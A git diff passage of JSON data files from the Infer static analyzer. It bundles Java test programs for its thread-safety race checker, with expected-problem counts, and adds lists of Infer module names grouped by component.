{\n Obj o = new Obj();\n o.g = new Obj();\n callWriteToFormal(o.g);\n }\n\n public Obj ownershipCanBeInterproceduralOk() {\n Obj local = returnOwnedLocalOk();\n local.f = new Object();\n return local;\n }\n\n public void mutateDoubleReturnOwnedOk() {\n Obj owned = ownershipCanBeInterproceduralOk();\n owned.g = new Obj();\n }\n\n Obj returnOwnedOrNull(boolean b) {\n if (b) {\n return null;\n }\n return new Obj();\n }\n\n public void mutateAfterNullCheckOK(boolean b) {\n Obj o = returnOwnedOrNull(b);\n if (o != null) {\n o.f = new Object();\n }\n }\n\n private void mutateIfNotNull(Obj o) {\n if (o != null) {\n o.f = new Object();\n }\n }\n\n public void ownInCalleeViaNullOk() {\n mutateIfNotNull(null);\n }\n\n public void notOwnedInCalleeBad(Obj o) {\n mutateIfNotNull(o);\n }\n\n Obj id(Obj param) {\n return param;\n }\n\n public void passOwnershipInIdFunctionOk() {\n Obj owned = new Obj();\n Obj shouldBeOwned = id(owned);\n shouldBeOwned.f = new Object();\n }\n\n Obj id2(Obj param) {\n return id(param);\n }\n\n public void passOwnershipInMultiLevelIdFunctionOk() {\n Obj owned = new Obj();\n Obj shouldBeOwned = id2(owned);\n shouldBeOwned.f = new Object();\n }\n\n native boolean nondet();\n\n public Obj returnConditionalOwnedInTwoBranches(Obj param) {\n if (nondet()) {\n return param;\n }\n return param;\n }\n\n public void returnConditionalOwnedInTwoBranchesOk() {\n Obj owned = new Obj();\n Obj shouldBeOwned = returnConditionalOwnedInTwoBranches(owned);\n shouldBeOwned.f = new Object();\n }\n\n public Obj returnOwnedOrConditionalOwned(Obj param) {\n if (nondet()) {\n return param;\n } else {\n return new Obj();\n }\n }\n\n public void ownedAfterCastOk() {\n Object o = new Obj();\n Obj owned = (Obj) o;\n owned.f = new Object();\n }\n\n // TODO: need to handle multiple ownership attributes in order to get this one\n public void ownAndConditionalOwnOk() {\n Obj owned = new Obj();\n Obj shouldBeOwned = returnOwnedOrConditionalOwned(owned);\n shouldBeOwned.f = new Object();\n }\n\n public Obj twoDifferentConditionalOwns(Obj param1, Obj param2) {\n if (nondet()) {\n return param1;\n } else {\n return param2;\n }\n }\n\n public void threadLocalOk(ThreadLocal threadLocal) {\n threadLocal.get().f = new Object();\n }\n\n // need to handle multiple ownership attributes in order to get this one\n public void twoDifferentConditionalOwnsOk() {\n Obj owned1 = new Obj();\n Obj owned2 = new Obj();\n Obj shouldBeOwned = twoDifferentConditionalOwns(owned1, owned2);\n shouldBeOwned.f = new Object();\n }\n\n // we angelically assume that callees don't leak their arguments to another thread for now, so\n // we'll miss this\n public void FN_escapeThenWriteLocalBad() {\n Obj local = new Obj();\n leakToAnotherThread(local);\n local.f = new Object();\n }\n\n private Obj leakThenReturn() {\n Obj local = new Obj();\n leakToAnotherThread(local);\n return local;\n }\n\n // the summary for leakThenReturn should not say that the caller owns the return value\n public void FN_mutateReturnedBad() {\n Obj notOwned = leakThenReturn();\n notOwned.f = new Object(); // should warn here\n }\n\n private void castThenCall(Obj o) {\n Subclass s = (Subclass) o;\n s.doWrite();\n }\n\n void castThenCallOk() {\n Obj o = new Obj();\n castThenCall(o);\n }\n\n void FN_castThenCallBad() {\n Obj o = getMaybeUnownedObj();\n castThenCall(o);\n }\n\n private Obj castThenReturn(Obj o) {\n Subclass s = (Subclass) o;\n return s;\n }\n\n void castThenReturnOk() {\n Obj o = new Obj();\n castThenReturn(o).f = new Object();\n }\n\n void FN_castThenReturnBad() {\n Obj o = getMaybeUnownedObj();\n castThenReturn(o).f = new Object();\n }\n\n void ownViaReflectionOk1() throws InstantiationException, IllegalAccessException {\n Class oClass = Obj.class;\n Obj o = oClass.newInstance();\n o.f = new Object();\n }\n\n void ownViaReflectionOk2()\n throws IllegalAccessException, InstantiationException, InvocationTargetException,\n NoSuchMethodException {\n Class oClass = Obj.class;\n Constructor oConstructor = oClass.getConstructor();\n Obj o = oConstructor.newInstance();\n o.f = new Object();\n }\n\n void ownInSkippedCodeOk() {\n SkippedClass c = SkippedClass.returnOwned();\n c.f = new Object();\n }\n\n void cloningAquiresOwnershipOk() {\n Ownership ow;\n try {\n ow = (Ownership) this.clone();\n ow.field = null;\n } catch (CloneNotSupportedException e) {\n }\n }\n\n static MyObj global;\n\n // would need escape analysis to detect this\n void FN_storeInGlobalAndWriteBad() {\n MyObj x = new MyObj();\n synchronized (Ownership.class) {\n global = x;\n }\n x.data = 5;\n }\n\n int readGlobalBad() {\n return global.data;\n }\n\n public void writeOwnedWithExceptionOk() {\n Obj options = returnOwnedWithException();\n options.f = new Object();\n }\n\n private Obj returnOwnedWithException() {\n Obj options = new Obj();\n if (options.f == null) {\n throw new IllegalArgumentException();\n }\n return options;\n }\n\n // not propagating ownership to access path rooted in formal\n public void notPropagatingOwnershipToAccessPathRootedAtFormalBad(Obj m) {\n m.g = new Obj();\n }\n\n // not propagating ownership to unowned local access path\n public void notPropagatingOwnershipToUnownedLocalAccessPathBad() {\n Obj m;\n synchronized (this) {\n m = field;\n }\n m.g = new Obj();\n }\n\n // propagating ownership to owned access path\n public void propagatingOwnershipToOwnedAccessPathOk() {\n Obj m = new Obj();\n m.g = new Obj();\n m.g.g = new Obj();\n m.g.g.g = new Obj();\n }\n\n private void reassignParamToOwned(Obj o) {\n o = new Obj();\n o.f = null; // we know the reassigned o is owned, mutating is ok\n }\n\n Obj unownedField1;\n\n void reassignParamToOwnedOk() {\n reassignParamToOwned(this.unownedField1); // ok even though this.unownedField1 isn't owned\n }\n\n Obj unownedField2;\n\n private void reassignParamToUnowned(Obj o) {\n o = this.unownedField2;\n o.f = null; // don't know that this.unownedField2 is owned\n }\n\n void FN_reassignParamToUnownedBad() {\n reassignParamToUnowned(new Obj()); // although o is owned here, it gets reassigned in the callee\n }\n\n void ownedViaLocalAliasOk() {\n Obj owned = new Obj();\n Obj alias = owned;\n alias.f = null;\n owned.f = new Object();\n }\n\n private void ownedViaParamAlias(Obj o) {\n Obj alias = o;\n alias.f = null; // ok if o is owned in caller\n o.f = new Object(); // ok if alias is owned in\n }\n\n public void ownedViaAliasOk() {\n Obj owned = new Obj();\n ownedViaParamAlias(owned);\n }\n\n Obj unownedField3;\n\n private void ownedViaThisAlias() {\n Ownership alias = this;\n alias.unownedField3 = null; // ok if this owned in caller\n this.unownedField3 = new Obj(); // also ok if this is owned in caller\n }\n\n public static void ownedViaThisAliasOk() {\n Ownership owned = new Ownership();\n owned.ownedViaThisAlias();\n }\n\n boolean nondet;\n\n private void conditionalAlias(Obj o1, Obj o2) {\n Obj alias;\n if (nondet) {\n alias = o1;\n } else {\n alias = o2;\n }\n alias.f = null; // ok if both o1 and o2 are owned\n }\n\n void conditionalAliasOk() {\n conditionalAlias(new Obj(), new Obj());\n }\n\n void FN_conditionalAliasBad(Obj unowned) {\n conditionalAlias(new Obj(), unowned);\n }\n}\n\nclass MyObj {\n int data;\n}\n\nclass Subclass extends Obj {\n\n public void doWrite() {\n f = new Object();\n }\n}\n\n@ThreadSafe\nclass OtherObj {\n private OtherObj(Obj o) {\n o.f = new Object();\n }\n\n void mutateInConstructorOk() {\n new OtherObj(new Obj());\n }\n}\n\n@ThreadSafe\nclass ContainerOwnership {\n\n ContainerOwnership() {\n ArrayList children = new ArrayList();\n setFirstOk(children);\n }\n\n private void setFirstOk(ArrayList children) {\n MyObj obj = children.get(0);\n\n if (obj == null) {\n obj = new MyObj();\n }\n\n obj.data = 10;\n }\n}\n" - }, - { - "testname": "RaceWithMainThread.java", - "testlanguage": "java", - "expected-problems": 60, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport javax.annotation.concurrent.ThreadSafe;\n\nclass OurThreadUtils {\n static native boolean isMainThread();\n\n static void assertMainThread() {}\n\n static void assertHoldsLock(Object lock) {}\n}\n\nclass OurThreadUtil {\n /*This is like AndroidThreadUtil*/\n static native boolean isUiThread();\n\n static void assertOnUiThread() {}\n\n static void assertOnBackgroundThread() {}\n}\n\n@ThreadSafe\nclass RaceWithMainThread {\n\n Integer f;\n\n void main_thread_OK() {\n OurThreadUtils.assertMainThread();\n f = 88;\n }\n\n Integer f1;\n\n void main_thread1_OK() {\n OurThreadUtil.assertOnUiThread();\n f1 = 88;\n }\n\n void main_thread_indirect_OK() {\n main_thread_OK();\n f = 77;\n }\n\n void read_from_main_thread_OK() {\n Integer x;\n OurThreadUtils.assertMainThread();\n x = f;\n }\n\n void read_unprotected_unthreaded_Bad() {\n Integer x;\n x = f;\n }\n\n void read_unprotected_unthreaded1_Bad() {\n Integer x;\n x = f1;\n }\n\n /*There is a particularly subtle idiom which avoids races, where a\n variable can be read without protection on the main thread, if\n it is written with protection on the main thread and read with\n protection off. The next three methods do this safely, and the fourth\n unsafely.\n */\n Integer i;\n\n void protected_write_on_main_thread_OK() {\n OurThreadUtils.assertMainThread();\n synchronized (this) {\n i = 99;\n }\n }\n\n void unprotected_read_on_main_thread_OK() {\n Integer x;\n OurThreadUtils.assertMainThread();\n x = i;\n }\n\n void protected_read_off_main_thread_OK() {\n Integer x;\n synchronized (this) {\n x = i;\n }\n }\n\n void readProtectedUnthreadedBad() {\n Integer x;\n synchronized (this) {\n x = f;\n }\n }\n\n Integer g;\n\n void holds_lock_OK() {\n OurThreadUtils.assertHoldsLock(this);\n g = 88;\n }\n\n void holds_lock_indirect_OK() {\n holds_lock_OK();\n g = 77;\n }\n\n Integer ff;\n\n void conditional1_Ok(boolean b) {\n if (b) {\n /*People not literally putting this assert inside if's,\n but implicitly by method calls */\n OurThreadUtils.assertMainThread();\n ff = 88;\n }\n }\n\n void conditional2_bad(boolean b) {\n if (b) {\n OurThreadUtils.assertMainThread();\n ff = 88;\n } else {\n ff = 99; // this might or might now run on the main thread; warn\n }\n }\n\n void conditional_isMainThread_Ok() {\n if (OurThreadUtils.isMainThread()) {\n ff = 88;\n }\n }\n\n void conditional_isUiThread_Ok() {\n if (OurThreadUtil.isUiThread()) {\n ff = 88;\n }\n }\n\n void conditional_isMainThread_ElseBranch_Bad() {\n if (OurThreadUtils.isMainThread()) {\n synchronized (this) {\n ff = 88;\n }\n } else {\n ff = 99;\n }\n }\n\n void conditional_isUiThread_ElseBranch_Bad() {\n if (OurThreadUtil.isUiThread()) {\n synchronized (this) {\n ff = 88;\n }\n } else {\n ff = 99;\n }\n }\n\n void conditional_isMainThread_Negation_Bad() {\n if (!OurThreadUtils.isMainThread()) {\n ff = 88;\n }\n }\n\n void conditional_isMainThread_ElseBranch_Ok() {\n if (!OurThreadUtils.isMainThread()) {\n synchronized (this) {\n ff = 88;\n }\n } else {\n ff = 99;\n }\n }\n\n Object mFld;\n\n public void confusedAssertBad(boolean b) {\n if (b) {\n OurThreadUtil.assertOnBackgroundThread();\n } else {\n OurThreadUtil.assertOnUiThread();\n }\n // not sure if we're on UI or background, should report\n mFld = null;\n }\n\n int mOnlyWrittenOnMain;\n\n private void conditionalMainThreadWrite1(boolean b) {\n if (b) {\n OurThreadUtil.assertOnUiThread();\n mOnlyWrittenOnMain = 7;\n }\n }\n\n // make sure we don't forget what thread the callee write occurred on\n public void conditionalMainThreadWriteOk() {\n conditionalMainThreadWrite1(true);\n }\n\n int mWrittenOffMain;\n\n private void conditionalMainThreadWrite2(boolean b) {\n if (b) {\n OurThreadUtil.assertOnUiThread();\n } else {\n mOnlyWrittenOnMain = 7;\n }\n }\n\n public void conditionalMainThreadWriteBad() {\n conditionalMainThreadWrite2(false);\n }\n\n int mSharedField;\n\n public void writeAfterConditionalMainThreadInCalleeBad() {\n conditionalMainThreadWrite1(true);\n // one branch of the callee runs on the main thread, but that doesn't mean we can assume that\n // the caller does too\n mSharedField = 7;\n }\n}\n\n// not marked thread-safe\nclass Unmarked {\n\n int mField;\n\n void writeOnUiThreadOk() {\n OurThreadUtil.assertOnUiThread();\n mField = 7;\n }\n\n int readOnUiThreadOk() {\n OurThreadUtil.assertOnUiThread();\n return mField;\n }\n\n int readOffUiThreadOk() {\n // even though this read isn't known to be on the UI thread, we shouldn't assume that it occurs\n // on a background thread\n return mField;\n }\n}\n" - }, - { - "testname": "ReadWriteRaces.java", - "testlanguage": "java", - "expected-problems": 34, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport java.util.concurrent.locks.ReentrantLock;\nimport javax.annotation.concurrent.ThreadSafe;\n\nclass C {\n private int x = 0;\n\n public int get() {\n return x;\n }\n\n public void set(int v) {\n x = v;\n }\n}\n\n@ThreadSafe\nclass ReadWriteRaces {\n\n // read and write outside of sync races\n Integer safe_read;\n Integer racy;\n\n void m0_OK() {\n Integer local;\n local = safe_read;\n }\n\n void m0_OK2() { // parallel reads are OK\n Integer local;\n local = safe_read;\n }\n\n void m1() { // A read where there are other writes\n Integer local;\n local = racy;\n }\n\n public void m2() {\n racy = 88;\n }\n\n public void m3() {\n racy = 99;\n }\n\n // write inside sync, read outside of sync races\n Object field1;\n Object field2;\n Object field3;\n\n // need to report races involving safe writes in order to get this one\n public synchronized void syncWrite1() {\n field1 = new Object();\n }\n\n public Object unprotectedRead1() {\n return field1;\n }\n\n private Object unprotectedReadInCallee() {\n return field1;\n }\n\n public Object callUnprotecteReadInCallee() {\n return unprotectedReadInCallee();\n }\n\n public void syncWrite2() {\n synchronized (this) {\n field2 = new Object();\n }\n }\n\n public Object unprotectedRead2() {\n return field2;\n }\n\n private synchronized void syncWrite3() {\n field3 = new Object();\n }\n\n public void callSyncWrite3() {\n syncWrite3();\n }\n\n public Object unprotectedRead3() {\n return field3;\n }\n\n private final C c = new C();\n private final ReentrantLock lock = new ReentrantLock();\n\n public void readInCalleeOutsideSyncBad(int i) {\n if (c.get() > i) { // should report read/write race here\n lock.lock();\n c.set(i);\n lock.unlock();\n }\n }\n}\n" - }, - { - "testname": "SkippedClass.java", - "testlanguage": "java", - "expected-problems": 4, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// _SHOULD_BE_SKIPPED_\n\npackage codetoanalyze.java.checkers;\n\npublic class SkippedClass {\n\n Object f;\n\n public static SkippedClass returnOwned() {\n return new SkippedClass();\n }\n}\n" - }, - { - "testname": "SubFld.java", - "testlanguage": "java", - "expected-problems": 18, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport javax.annotation.concurrent.ThreadSafe;\n\n// Fields must encapsulate the class they are declared in, not\n// the class they are potentially inherited into.\n\n@ThreadSafe\nclass SuperFld {\n\n private int f = 0;\n\n public int getF() {\n return f; // should *not* report read/write race with SubFld.setF()\n }\n\n protected int g = 0;\n\n public int getG() {\n return g; // must report read/write race with SubFld.setG()\n }\n}\n\n@ThreadSafe\npublic class SubFld extends SuperFld {\n\n private int f = 0;\n\n public synchronized void setF() {\n f = 5; // should *not* report\n }\n\n public synchronized void setG() {\n g = 5; // must report\n }\n}\n" - }, - { - "testname": "SwitchEnum.java", - "testlanguage": "java", - "expected-problems": 8, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport javax.annotation.concurrent.ThreadSafe;\n\n@ThreadSafe\npublic class SwitchEnum {\n int[] a = new int[8];\n\n // Java generates a class for the switch, which contains an int array\n // This leads to races where there are int arrays, here a[]\n public String getName(EnumClass value) {\n synchronized (this) {\n a[0] = 0; // should not report here\n }\n switch (value) {\n case VALUE1:\n return \"value 1\";\n case VALUE3:\n return \"value 3\";\n default:\n return \"other\";\n }\n }\n}\n\nenum EnumClass {\n VALUE1,\n VALUE2,\n VALUE3\n}\n" - }, - { - "testname": "ThreadSafeExample.java", - "testlanguage": "java", - "expected-problems": 64, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport com.facebook.infer.annotation.ThreadSafe;\nimport com.google.common.annotations.VisibleForTesting;\nimport javax.annotation.concurrent.NotThreadSafe;\n\n@ThreadSafe\npublic class ThreadSafeExample {\n\n /*Included to make sure infer does not report on class initializers*/\n static Class A = ThreadSafeExample.class;\n\n Integer f;\n\n public ThreadSafeExample() {\n f = 86;\n }\n\n public void tsOK() {\n synchronized (this) {\n f = 42;\n }\n }\n\n public void tsBad() {\n f = 24;\n }\n\n public void recursiveBad() {\n f = 44;\n recursiveBad();\n }\n\n // shouldn't report here because it's a private method\n private void assignInPrivateMethodOk() {\n f = 24;\n }\n\n // but should report here, because now it's called\n public void callPublicMethodBad() {\n assignInPrivateMethodOk();\n }\n\n private void callAssignInPrivateMethod() {\n assignInPrivateMethodOk();\n }\n\n // should report a deeperTraceBade -> callAssignInPrivateMethod -> assignInPrivateMethodOk trace\n public void deeperTraceBad() {\n callAssignInPrivateMethod();\n }\n\n public synchronized void callFromSynchronizedPublicMethodOk() {\n assignInPrivateMethodOk();\n }\n\n private synchronized void synchronizedCallerOk() {\n assignInPrivateMethodOk();\n }\n\n public void callFromUnsynchronizedPublicMethodOk() {\n synchronizedCallerOk();\n }\n\n // although the constructor touches f, we shouldn't complain here\n public void callConstructorOk() {\n new ThreadSafeExample();\n }\n\n private Object returnConstructorOk() {\n return new ThreadSafeExample();\n }\n\n public void transitivelyCallConstructorOk() {\n returnConstructorOk();\n }\n\n volatile Object volatileField;\n\n // we don't warn on unsafe writes to volatile fields\n public void unsafeVolatileWriteOk() {\n this.volatileField = new Object();\n }\n\n // don't count the method as public if it's marked VisibleForTesting\n @VisibleForTesting\n public void visibleForTestingNotPublicOk() {\n this.f = 47;\n }\n\n // but do complain if a VisibleForTesting method is called from a public method\n public void callVisibleForTestingBad() {\n visibleForTestingNotPublicOk();\n }\n\n Object sharedField;\n\n private void writePrivateSharedFieldOk() {\n this.sharedField = new Object();\n }\n\n public Object returnSharedFieldOk() {\n return this.sharedField; // ok because it only races with a private method\n }\n\n Object sStaticField;\n\n public Object FP_lazyInitOk() {\n synchronized (ThreadSafeExample.class) {\n if (sStaticField != null) {\n sStaticField = new Object();\n }\n }\n return sStaticField; // we'll warn here, although this is fine\n }\n}\n\nclass ExtendsThreadSafeExample extends ThreadSafeExample {\n\n Integer field;\n\n /* Presently,we will warn not just on overwridden methods from\n @ThreadSafe class, but potentially on other methods in subclass */\n public void newmethodBad() {\n field = 22;\n }\n\n /* Bad now that it's overridden */\n public void tsOK() {\n field = 44;\n }\n}\n\n@NotThreadSafe\nclass NotThreadSafeExtendsThreadSafeExample extends ThreadSafeExample {\n\n Integer field;\n\n /* We don't want to warn on this */\n public void newmethodBad() {\n field = 22;\n }\n}\n\n@ThreadSafe\nclass YesThreadSafeExtendsNotThreadSafeExample extends NotThreadSafeExtendsThreadSafeExample {\n\n Integer subsubfield;\n\n /* We do want to warn on this */\n public void subsubmethodBad() {\n subsubfield = 22;\n }\n}\n\nclass Unannotated {\n int mField;\n\n // although ThreadSafeExample is annotated @ThreadSafe, mutating fields of this class in a\n // non-threadsafe context should be allowed\n void callThreadSafeAnnotatedCode1Ok(ThreadSafeExample o) {\n o.f = null;\n }\n\n void callThreadSafeAnnotatedCode2Ok(ThreadSafeExample o) {\n o.tsBad();\n }\n\n void mutateMyFieldOk() {\n this.mField = 1;\n }\n}\n" - }, - { - "testname": "ThreadSafeMethods.java", - "testlanguage": "java", - "expected-problems": 37, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport com.facebook.infer.annotation.ThreadSafe;\nimport com.google.common.annotations.VisibleForTesting;\n\nclass ThreadSafeMethods {\n\n Object field1;\n Object field2;\n Object field3;\n Object field4;\n Object field5;\n\n @ThreadSafe\n public void threadSafeMethodWriteBad() {\n this.field1 = new Object(); // should warn\n }\n\n @ThreadSafe\n public Object threadSafeMethodReadBad() {\n return this.field2;\n }\n\n @ThreadSafe\n private void threadSafePrivateMethodBad() {\n this.field2 = new Object(); // should warn\n }\n\n @ThreadSafe\n @VisibleForTesting\n public void threadSafeVisibleForTestingMethodBad() {\n this.field3 = new Object(); // should warn\n }\n\n @ThreadSafe\n public void safeMethodOverride() {}\n\n // if a method annotated with @ThreadSafe in class C writes field f, then all other accesses to f\n // in C must also be thread-safe\n public void writeSameFieldAsThreadSafeMethod1Bad() {\n // warn here because field1 is also written in @ThreadSafe method threadSafeMethodWriteBad\n this.field1 = new Object();\n }\n\n // reads a field that is written in a method marked thread-safe\n public Object readSameFieldAsThreadSafeMethod1Bad() {\n return this.field1;\n }\n\n // TODO: should we report this or not?\n public synchronized void safelyWriteSameFieldAsThreadSafeMethod1Ok() {\n this.field1 = new Object();\n }\n\n public synchronized Object readSameFieldAsThreadSafeMethodWhileSynchronized1Bad() {\n return this.field1;\n }\n\n @ThreadSafe\n public synchronized void synchronizedWriteOk() {\n this.field4 = new Object();\n }\n\n // unprotected write to a field that is written safely in a method marked thread-safe\n public void writeSameFieldAsThreadSafeMethod2Bad() {\n this.field4 = new Object();\n }\n\n // unprotected read of a field that is written safely in a method marked thread-safe\n public Object readSameFieldAsThreadSafeMethod2Bad() {\n return this.field4;\n }\n\n @ThreadSafe\n public synchronized Object FN_synchronizedReadBad() {\n return this.field5;\n }\n\n private void privateAccessOk() {\n this.field5 = new Object();\n }\n\n // unprotected write to a field that is read safely in a method marked thread-safe\n public void FN_writeSameFieldAsThreadSafeMethod3Bad() {\n this.field5 = new Object();\n }\n\n // none of the writes are marked thread-safe/locked, no reason to report\n public Object readSameFieldAsThreadSafeMethodOk() {\n return this.field5;\n }\n}\n\nclass ThreadSafeMethodsSubclass extends ThreadSafeMethods {\n Object subclassField;\n\n @Override\n // overrides method annotated with @ThreadSafe, should warn\n public void safeMethodOverride() {\n this.subclassField = new Object();\n }\n\n public void FN_writeThreadSafeFieldOfSuperclassBad() {\n this.field1 = new Object();\n }\n\n public Object FN_readThreadSafeFieldOfSuperclassBad() {\n return this.field1;\n }\n\n public void writeThreadSafeFieldOfOverrideBad() {\n this.subclassField = new Object();\n }\n\n public Object readThreadSafeFieldOfOverrideBad() {\n return this.subclassField;\n }\n}\n" - } - ] -} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/ResourceLeakLabExercise.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/ResourceLeakLabExercise.json deleted file mode 100644 index 3984572..0000000 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/ResourceLeakLabExercise.json +++ /dev/null @@ -1,15 +0,0 @@ -{ - "name": "ResourceLeakLabExercise", - "language": [ - "java" - ], - "description": "Toy checker for the \\", - "example": null, - "cwe": null, - "cwe-description": null, - "checker-language": "OCaml", - "loc": 0, - "branches": 0, - "apis": 0, - "test": [] -} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/IR.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/IR.json new file mode 100644 index 0000000..186c51d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/IR.json @@ -0,0 +1,58 @@ +{ + "name": "IR", + "description": null, + "rules": [ + "AnalysisGlobalState", + "Annot", + "Attributes", + "BUILTINS", + "Binop", + "BuiltinDecl", + "CSharpClassName", + "CallFlags", + "CapturedVar", + "Cfg", + "ClangMethodKind", + "Const", + "Dependencies", + "DotCfg", + "ErlangTypeName", + "Exp", + "Fieldname", + "Filtering", + "FuncArg", + "HackClassName", + "Ident", + "Instrs", + "IntLit", + "IntegerWidths", + "Io_infer", + "JavaClassName", + "Mangled", + "MissingDependencies", + "ObjCDispatchModels", + "ProcAttributes", + "Procdesc", + "Procname", + "Pvar", + "PythonClassName", + "PythonProcname", + "QualifiedCppName", + "Sil", + "SourceFiles", + "Specialization", + "SpecializedProcname", + "StdTyp", + "Struct", + "Subtype", + "SwiftClassName", + "Tenv", + "Typ", + "Unop", + "Var", + "WeakTopologicalOrder", + "inferconfig", + "jConfig", + "sourcePrinter" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/absint.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/absint.json new file mode 100644 index 0000000..c0c1db0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/absint.json @@ -0,0 +1,52 @@ +{ + "name": "absint", + "description": null, + "rules": [ + "AbstractDomain", + "AbstractInterpreter", + "AccessPath", + "AccessTree", + "AnalysisCallbacks", + "AnalysisResult", + "AnalysisState", + "AndroidFramework", + "Bindings", + "CallSite", + "ConcurrencyModels", + "Errlog", + "ExplicitTrace", + "FormalMap", + "HilExp", + "HilInstr", + "IdAccessPathMapDomain", + "InterproceduralAnalysis", + "IntraproceduralAnalysis", + "IssueLog", + "IssueToReport", + "Localise", + "LowerHil", + "MemoryAccess", + "MethodMatcher", + "Mleak_buckets", + "NoReturnModels", + "NullsafeMode", + "Passthrough", + "PatternMatch", + "ProcCfg", + "ProcnameDispatcher", + "RecursiveCycleException", + "Reporting", + "Sanitizer", + "Scheduler", + "Sink", + "SinkTrace", + "Source", + "SubtypingCheck", + "TaintTrace", + "TaintTraceElem", + "TaskSchedulerTypes", + "TransferFunctions", + "annotations", + "exe_env" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/atd.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/atd.json new file mode 100644 index 0000000..bc84c1c --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/atd.json @@ -0,0 +1,8 @@ +{ + "name": "atd", + "description": null, + "rules": [ + "AtdDeps", + "InferCommand" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/backend.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/backend.json new file mode 100644 index 0000000..9020b9d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/backend.json @@ -0,0 +1,32 @@ +{ + "name": "backend", + "description": null, + "rules": [ + "AnalysisDependencyGraph", + "CallGraph", + "CallGraphScheduler", + "CallbackOfChecker", + "Devirtualizer", + "FileScheduler", + "GCStats", + "InferAnalyze", + "Issue", + "LineageTaint", + "NodePrinter", + "Payloads", + "ProcLocker", + "Procedures", + "ReactiveCapture", + "ReplayScheduler", + "RestartScheduler", + "SourceFileGraph", + "StarvationGlobalAnalysis", + "Summary", + "SyntacticCallGraph", + "callbacks", + "ondemand", + "preanal", + "printer", + "registerCheckers" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/base.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/base.json new file mode 100644 index 0000000..a18cd61 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/base.json @@ -0,0 +1,59 @@ +{ + "name": "base", + "description": null, + "rules": [ + "AnalysisRequest", + "BuckMode", + "Checker", + "CommandDoc", + "CommandLineOption", + "Concurrent", + "Config", + "CostIssues", + "CostIssuesTestField", + "DB", + "DBWriter", + "DBWriterCommand", + "DBWriterDomain", + "DBWriterProcess", + "DBWriterS", + "Database", + "Die", + "DomainPool", + "Epilogues", + "Exception", + "ExecutionDuration", + "FileDiff", + "ForkUtils", + "IssueType", + "IssuesTestField", + "Language", + "LineReader", + "Location", + "LogEntry", + "Logging", + "MarkupFormatter", + "MissingDependencyException", + "PayloadId", + "PerfEvent", + "Process", + "ProcessPool", + "RestartSchedulerException", + "ResultsDir", + "ResultsDirEntryName", + "SourceFile", + "SqliteUtils", + "Stats", + "StatsLogging", + "StatsSample", + "TaskBar", + "TaskGenerator", + "Timeable", + "Timer", + "Timings", + "ToplAst", + "Utils", + "WorkerPoolState", + "costKind" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/bufferoverrun.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/bufferoverrun.json index 06fb334..a1eaa02 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/bufferoverrun.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/bufferoverrun.json @@ -2,7 +2,28 @@ "name": "bufferoverrun", "description": null, "rules": [ + "BiabductionProp", + "FuncPtr", + "absLoc", + "arrayBlk", + "boolean", + "bounds", "bufferOverrunAnalysis", - "bufferOverrunChecker" + "bufferOverrunAnalysisSummary", + "bufferOverrunChecker", + "bufferOverrunCheckerSummary", + "bufferOverrunDomain", + "bufferOverrunField", + "bufferOverrunModels", + "bufferOverrunOndemandEnv", + "bufferOverrunProofObligations", + "bufferOverrunSemantics", + "bufferOverrunTrace", + "bufferOverrunTypModels", + "bufferOverrunUtils", + "ints", + "itv", + "polynomials", + "symb" ] } \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/checkers.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/checkers.json index 765a465..c137ca8 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/checkers.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/checkers.json @@ -2,20 +2,38 @@ "name": "checkers", "description": null, "rules": [ + "ComputeCapturedInfo", "DisjunctiveDemo", + "ExternalConfigImpactData", "Lineage", + "LineageBase", "LineageShape", + "LithoDomain", 